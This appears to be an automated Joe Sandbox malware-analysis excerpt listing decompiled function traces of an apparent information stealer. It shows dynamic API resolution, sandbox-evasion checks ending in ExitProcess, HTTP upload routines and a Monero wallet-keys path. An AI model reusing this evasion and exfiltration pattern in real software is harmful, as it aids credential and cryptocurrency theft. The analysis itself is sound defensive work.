Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: a7938f5c6a29cd753cb82ba54cbbdbd2fc583ba43168fa414913d3d086bdec1c
Instruction ID: 0c41219702d2126b9d9d6e96b51e96f6c523064e74f5ae55bc83ee1f1fec6401
Opcode Fuzzy Hash: a7938f5c6a29cd753cb82ba54cbbdbd2fc583ba43168fa414913d3d086bdec1c
Instruction Fuzzy Hash: 94D09E7594430CABCB14DFE099896EDBB7CBB08715F100659DD0576280EB315495CA65

Function 00129F20 Relevance: 222.9, APIs: 112, Strings: 15, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00E265D8), ref: 00129F3D
GetProcAddress.KERNEL32(76210000,00E26778), ref: 00129F55
GetProcAddress.KERNEL32(76210000,00E39888), ref: 00129F6E
GetProcAddress.KERNEL32(76210000,00E39810), ref: 00129F86
GetProcAddress.KERNEL32(76210000,00E39858), ref: 00129F9E
GetProcAddress.KERNEL32(76210000,00E3D910), ref: 00129FB7
GetProcAddress.KERNEL32(76210000,00E2A738), ref: 00129FCF
GetProcAddress.KERNEL32(76210000,00E3D880), ref: 00129FE7
GetProcAddress.KERNEL32(76210000,00E3D9A0), ref: 0012A000
GetProcAddress.KERNEL32(76210000,00E3D8E0), ref: 0012A018
GetProcAddress.KERNEL32(76210000,00E3D958), ref: 0012A030
GetProcAddress.KERNEL32(76210000,00E265F8), ref: 0012A049
GetProcAddress.KERNEL32(76210000,00E266B8), ref: 0012A061
GetProcAddress.KERNEL32(76210000,00E26798), ref: 0012A079
GetProcAddress.KERNEL32(76210000,00E26538), ref: 0012A092
GetProcAddress.KERNEL32(76210000,00E3D970), ref: 0012A0AA
GetProcAddress.KERNEL32(76210000,00E3D838), ref: 0012A0C2
GetProcAddress.KERNEL32(76210000,00E2A9E0), ref: 0012A0DB
GetProcAddress.KERNEL32(76210000,00E266D8), ref: 0012A0F3
GetProcAddress.KERNEL32(76210000,00E3D778), ref: 0012A10B
GetProcAddress.KERNEL32(76210000,00E3D988), ref: 0012A124
GetProcAddress.KERNEL32(76210000,00E3D7F0), ref: 0012A13C
GetProcAddress.KERNEL32(76210000,00E3D8F8), ref: 0012A154
GetProcAddress.KERNEL32(76210000,00E26858), ref: 0012A16D
GetProcAddress.KERNEL32(76210000,00E3DA48), ref: 0012A185
GetProcAddress.KERNEL32(76210000,00E3D928), ref: 0012A19D
GetProcAddress.KERNEL32(76210000,00E3D7D8), ref: 0012A1B6
GetProcAddress.KERNEL32(76210000,00E3D898), ref: 0012A1CE
GetProcAddress.KERNEL32(76210000,00E3D850), ref: 0012A1E6
GetProcAddress.KERNEL32(76210000,00E3D940), ref: 0012A1FF
GetProcAddress.KERNEL32(76210000,00E3D808), ref: 0012A217
GetProcAddress.KERNEL32(76210000,00E3D8B0), ref: 0012A22F
GetProcAddress.KERNEL32(76210000,00E3DA60), ref: 0012A248
GetProcAddress.KERNEL32(76210000,00E2FD28), ref: 0012A260
GetProcAddress.KERNEL32(76210000,00E3D820), ref: 0012A278
GetProcAddress.KERNEL32(76210000,00E3D9B8), ref: 0012A291
GetProcAddress.KERNEL32(76210000,00E26618), ref: 0012A2A9
GetProcAddress.KERNEL32(76210000,00E3D9D0), ref: 0012A2C1
GetProcAddress.KERNEL32(76210000,00E26738), ref: 0012A2DA
GetProcAddress.KERNEL32(76210000,00E3DA00), ref: 0012A2F2
GetProcAddress.KERNEL32(76210000,00E3D868), ref: 0012A30A
GetProcAddress.KERNEL32(76210000,00E267B8), ref: 0012A323
GetProcAddress.KERNEL32(76210000,00E267D8), ref: 0012A33B
LoadLibraryA.KERNEL32(00E3D8C8,?,00125EF3,00130AEB,?,?,?,?,?,?,?,?,?,?,00130AEA,00130AE7), ref: 0012A34D
LoadLibraryA.KERNEL32(00E3D7A8,?,00125EF3,00130AEB,?,?,?,?,?,?,?,?,?,?,00130AEA,00130AE7), ref: 0012A35E
LoadLibraryA.KERNEL32(00E3D9E8,?,00125EF3,00130AEB,?,?,?,?,?,?,?,?,?,?,00130AEA,00130AE7), ref: 0012A370
LoadLibraryA.KERNEL32(00E3DA18,?,00125EF3,00130AEB,?,?,?,?,?,?,?,?,?,?,00130AEA,00130AE7), ref: 0012A382
LoadLibraryA.KERNEL32(00E3DA30,?,00125EF3,00130AEB,?,?,?,?,?,?,?,?,?,?,00130AEA,00130AE7), ref: 0012A393
LoadLibraryA.KERNEL32(00E3D790,?,00125EF3,00130AEB,?,?,?,?,?,?,?,?,?,?,00130AEA,00130AE7), ref: 0012A3A5
LoadLibraryA.KERNEL32(00E3D7C0,?,00125EF3,00130AEB,?,?,?,?,?,?,?,?,?,?,00130AEA,00130AE7), ref: 0012A3B7
LoadLibraryA.KERNEL32(00E3DA78,?,00125EF3,00130AEB,?,?,?,?,?,?,?,?,?,?,00130AEA,00130AE7), ref: 0012A3C8
GetProcAddress.KERNEL32(751E0000,00E261B8), ref: 0012A3EA
GetProcAddress.KERNEL32(751E0000,00E3DC10), ref: 0012A402
GetProcAddress.KERNEL32(751E0000,00E391B0), ref: 0012A41A
GetProcAddress.KERNEL32(751E0000,00E3DBE0), ref: 0012A433
GetProcAddress.KERNEL32(751E0000,00E262B8), ref: 0012A44B
GetProcAddress.KERNEL32(700F0000,00E2A760), ref: 0012A470
GetProcAddress.KERNEL32(700F0000,00E262D8), ref: 0012A489
GetProcAddress.KERNEL32(700F0000,00E2A8A0), ref: 0012A4A1
GetProcAddress.KERNEL32(700F0000,00E3DCD0), ref: 0012A4B9
GetProcAddress.KERNEL32(700F0000,00E3DB68), ref: 0012A4D2
GetProcAddress.KERNEL32(700F0000,00E263F8), ref: 0012A4EA
GetProcAddress.KERNEL32(700F0000,00E261D8), ref: 0012A502
GetProcAddress.KERNEL32(700F0000,00E3DB80), ref: 0012A51B
GetProcAddress.KERNEL32(753A0000,00E26478), ref: 0012A53C
GetProcAddress.KERNEL32(753A0000,00E26438), ref: 0012A554
GetProcAddress.KERNEL32(753A0000,00E3DCA0), ref: 0012A56D
GetProcAddress.KERNEL32(753A0000,00E3DB98), ref: 0012A585
GetProcAddress.KERNEL32(753A0000,00E260F8), ref: 0012A59D
GetProcAddress.KERNEL32(76310000,00E2AA08), ref: 0012A5C3
GetProcAddress.KERNEL32(76310000,00E2AA30), ref: 0012A5DB
GetProcAddress.KERNEL32(76310000,00E3DAA8), ref: 0012A5F3
GetProcAddress.KERNEL32(76310000,00E262F8), ref: 0012A60C
GetProcAddress.KERNEL32(76310000,00E26318), ref: 0012A624
GetProcAddress.KERNEL32(76310000,00E2AA80), ref: 0012A63C
GetProcAddress.KERNEL32(76910000,00E3DC70), ref: 0012A662
GetProcAddress.KERNEL32(76910000,00E26358), ref: 0012A67A
GetProcAddress.KERNEL32(76910000,00E391D0), ref: 0012A692
GetProcAddress.KERNEL32(76910000,00E3DCB8), ref: 0012A6AB
GetProcAddress.KERNEL32(76910000,00E3DD48), ref: 0012A6C3
GetProcAddress.KERNEL32(76910000,00E26378), ref: 0012A6DB
GetProcAddress.KERNEL32(76910000,00E26458), ref: 0012A6F4
GetProcAddress.KERNEL32(76910000,00E3DD00), ref: 0012A70C
GetProcAddress.KERNEL32(76910000,00E3DC40), ref: 0012A724
GetProcAddress.KERNEL32(75B30000,00E26158), ref: 0012A746
GetProcAddress.KERNEL32(75B30000,00E3DC28), ref: 0012A75E
GetProcAddress.KERNEL32(75B30000,00E3DB20), ref: 0012A776
GetProcAddress.KERNEL32(75B30000,00E3DB50), ref: 0012A78F
GetProcAddress.KERNEL32(75B30000,00E3DC88), ref: 0012A7A7
GetProcAddress.KERNEL32(75670000,00E26498), ref: 0012A7C8
GetProcAddress.KERNEL32(75670000,00E261F8), ref: 0012A7E1
GetProcAddress.KERNEL32(76AC0000,00E26338), ref: 0012A802
GetProcAddress.KERNEL32(76AC0000,00E3DD60), ref: 0012A81A
GetProcAddress.KERNEL32(6F4E0000,00E264B8), ref: 0012A840
GetProcAddress.KERNEL32(6F4E0000,00E263D8), ref: 0012A858
GetProcAddress.KERNEL32(6F4E0000,00E26418), ref: 0012A870
GetProcAddress.KERNEL32(6F4E0000,00E3DD18), ref: 0012A889
GetProcAddress.KERNEL32(6F4E0000,00E260D8), ref: 0012A8A1
GetProcAddress.KERNEL32(6F4E0000,00E26118), ref: 0012A8B9
GetProcAddress.KERNEL32(6F4E0000,00E26138), ref: 0012A8D2
GetProcAddress.KERNEL32(6F4E0000,00E26178), ref: 0012A8EA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 0012A901
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 0012A917
GetProcAddress.KERNEL32(75AE0000,00E3DB08), ref: 0012A939
GetProcAddress.KERNEL32(75AE0000,00E39220), ref: 0012A951
GetProcAddress.KERNEL32(75AE0000,00E3DB38), ref: 0012A969
GetProcAddress.KERNEL32(75AE0000,00E3DBC8), ref: 0012A982
GetProcAddress.KERNEL32(76300000,00E26198), ref: 0012A9A3
GetProcAddress.KERNEL32(6E9A0000,00E3DCE8), ref: 0012A9C4
GetProcAddress.KERNEL32(6E9A0000,00E26398), ref: 0012A9DD
GetProcAddress.KERNEL32(6E9A0000,00E3DA90), ref: 0012A9F5
GetProcAddress.KERNEL32(6E9A0000,00E3DD30), ref: 0012AA0D

Strings

8e, xrefs: 0012A084
xc, xrefs: 0012A6CE
Xc, xrefs: 0012A66D
Xd, xrefs: 0012A6E6
8a, xrefs: 0012A8C4
HttpQueryInfoA, xrefs: 0012A90C
xg, xrefs: 00129F48
Xh, xrefs: 0012A15F
xd, xrefs: 0012A52F
8c, xrefs: 0012A7F5
Xa, xrefs: 0012A738
8g, xrefs: 0012A2CC
InternetSetOptionA, xrefs: 0012A8F5
xa, xrefs: 0012A8DD
8d, xrefs: 0012A547

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: 8a$8c$8d$8e$8g$HttpQueryInfoA$InternetSetOptionA$Xa$Xc$Xd$Xh$xa$xc$xd$xg
API String ID: 2238633743-3472937861
Opcode ID: c3afbbe1a9ec9cb92f53cffc612cf8b76d9aff11be5ff2c639654cff37ebcf93
Instruction ID: 4128a5deee73131d88c079048dc315a4e97d792d72236a03cf303f91fcddbfe2
Opcode Fuzzy Hash: c3afbbe1a9ec9cb92f53cffc612cf8b76d9aff11be5ff2c639654cff37ebcf93
Instruction Fuzzy Hash: AF624CB55182809FC366DFA8FDC995677BDE78D341B108B1ABA09CB2F0D734A941CB60

Function 001148D0 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 00114800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00114889
Part of subcall function 00114800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00114899

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00114965
StrCmpCA.SHLWAPI(?,00E3F970), ref: 0011498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00114B0A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00130DDE,00000000,?,?,00000000,?,",00000000,?,00E3FA80), ref: 00114E38
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00114E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00114E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00114E99
InternetCloseHandle.WININET(00000000), ref: 00114EFD
InternetCloseHandle.WININET(00000000), ref: 00114F15
HttpOpenRequestA.WININET(00000000,00E3F920,?,00E3F0E0,00000000,00000000,00400100,00000000), ref: 00114B65

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

InternetCloseHandle.WININET(00000000), ref: 00114F1F

Strings

X, xrefs: 00114BEF, 00114D30
", xrefs: 00114C42
------, xrefs: 00114CB9
------, xrefs: 00114B78
------, xrefs: 00114A0D
", xrefs: 00114D83

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------$X
API String ID: 460715078-4062443838
Opcode ID: df6035774cc05f685d4a0a26228a564ac0a9ad4fdd24f52c5c462419ea384185
Instruction ID: 8c06e83878eaca095ce37d88c6b1b694cb99ecf35b86fa06198c03be26145108
Opcode Fuzzy Hash: df6035774cc05f685d4a0a26228a564ac0a9ad4fdd24f52c5c462419ea384185
Instruction Fuzzy Hash: 1712BB72911128ABCB15EB90EDA2FEEB379BF24300F904599B10676191EF706F58CF61

Function 00125760 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0012AB30: lstrlen.KERNEL32(00114F55,?,?,00114F55,00130DDF), ref: 0012AB3B
Part of subcall function 0012AB30: lstrcpy.KERNEL32(00130DDF,00000000), ref: 0012AB95

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00125894
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 001258F1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00125AA7

Part of subcall function 0012AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0012AAF6

Part of subcall function 00125440: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00125478

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Part of subcall function 00125510: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00125568
Part of subcall function 00125510: lstrlen.KERNEL32(00000000), ref: 0012557F
Part of subcall function 00125510: StrStrA.SHLWAPI(00000000,00000000), ref: 001255B4
Part of subcall function 00125510: lstrlen.KERNEL32(00000000), ref: 001255D3
Part of subcall function 00125510: lstrlen.KERNEL32(00000000), ref: 001255FE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 001259DB
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00125B90
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00125C5C
Sleep.KERNEL32(0000EA60), ref: 00125C6B

Strings

ERROR, xrefs: 00125C4E
8h, xrefs: 001257D5, 00125833
ERROR, xrefs: 001259CD
ERROR, xrefs: 00125886
ERROR, xrefs: 00125B82
ERROR, xrefs: 00125A99
ERROR, xrefs: 001258E3

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: 8h$ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-4046243713
Opcode ID: 50a9947d1d36242798682453ff1b346b95d8f278a7b379529e66956c2e2ffbea
Instruction ID: 7b0c2876f4c203bae1cb0657a7b1a06efb187d1219933a8377e0b887617fef35
Opcode Fuzzy Hash: 50a9947d1d36242798682453ff1b346b95d8f278a7b379529e66956c2e2ffbea
Instruction Fuzzy Hash: 16E114719101189BCB18FBA0FDA7AFD737EAF74340F908568B50667091EF346A68CB52

Function 001219F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00121A15
ExitProcess.KERNEL32 ref: 00121A21

Strings

block, xrefs: 00121A07

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: a18e2b159ccf05fa5d15f4f16fe6b6e734c2760890e8d9cee1f577a68cf913e8
Instruction ID: 07d77126eabaad962b44e312c1112dbaae10a017a27870dd2af018f7cc9542ed
Opcode Fuzzy Hash: a18e2b159ccf05fa5d15f4f16fe6b6e734c2760890e8d9cee1f577a68cf913e8
Instruction Fuzzy Hash: CD515F78B04219FFCB14DFE4E994AAE77B9EF54704F604548E902AB280E770E961CB61

Function 00126C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E31660), ref: 00129BF1
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E31768), ref: 00129C0A
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E31588), ref: 00129C22
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E31708), ref: 00129C3A
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E315A0), ref: 00129C53
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E39250), ref: 00129C6B
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E266F8), ref: 00129C83
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E26678), ref: 00129C9C
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E316D8), ref: 00129CB4
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E31618), ref: 00129CCC
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E31648), ref: 00129CE5
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E31678), ref: 00129CFD
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E26818), ref: 00129D15
Part of subcall function 00129BB0: GetProcAddress.KERNEL32(76210000,00E316F0), ref: 00129D2E

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 001111D0: ExitProcess.KERNEL32 ref: 00111211

Part of subcall function 00111160: GetSystemInfo.KERNEL32(?), ref: 0011116A
Part of subcall function 00111160: ExitProcess.KERNEL32 ref: 0011117E

Part of subcall function 00111110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0011112B
Part of subcall function 00111110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00111132
Part of subcall function 00111110: ExitProcess.KERNEL32 ref: 00111143

Part of subcall function 00111220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0011123E
Part of subcall function 00111220: __aulldiv.LIBCMT ref: 00111258
Part of subcall function 00111220: __aulldiv.LIBCMT ref: 00111266
Part of subcall function 00111220: ExitProcess.KERNEL32 ref: 00111294

Part of subcall function 00126A10: GetUserDefaultLangID.KERNEL32 ref: 00126A14

Part of subcall function 00111190: ExitProcess.KERNEL32 ref: 001111C6

Part of subcall function 001279E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,001111B7), ref: 00127A10
Part of subcall function 001279E0: RtlAllocateHeap.NTDLL(00000000), ref: 00127A17
Part of subcall function 001279E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00127A2F

Part of subcall function 00127A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00127AA0
Part of subcall function 00127A70: RtlAllocateHeap.NTDLL(00000000), ref: 00127AA7
Part of subcall function 00127A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00127ABF

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E39180,?,001310F4,?,00000000,?,001310F8,?,00000000,00130AF3), ref: 00126D6A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00126D88
CloseHandle.KERNEL32(00000000), ref: 00126D99
Sleep.KERNEL32(00001770), ref: 00126DA4
CloseHandle.KERNEL32(?,00000000,?,00E39180,?,001310F4,?,00000000,?,001310F8,?,00000000,00130AF3), ref: 00126DBA
ExitProcess.KERNEL32 ref: 00126DC2

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
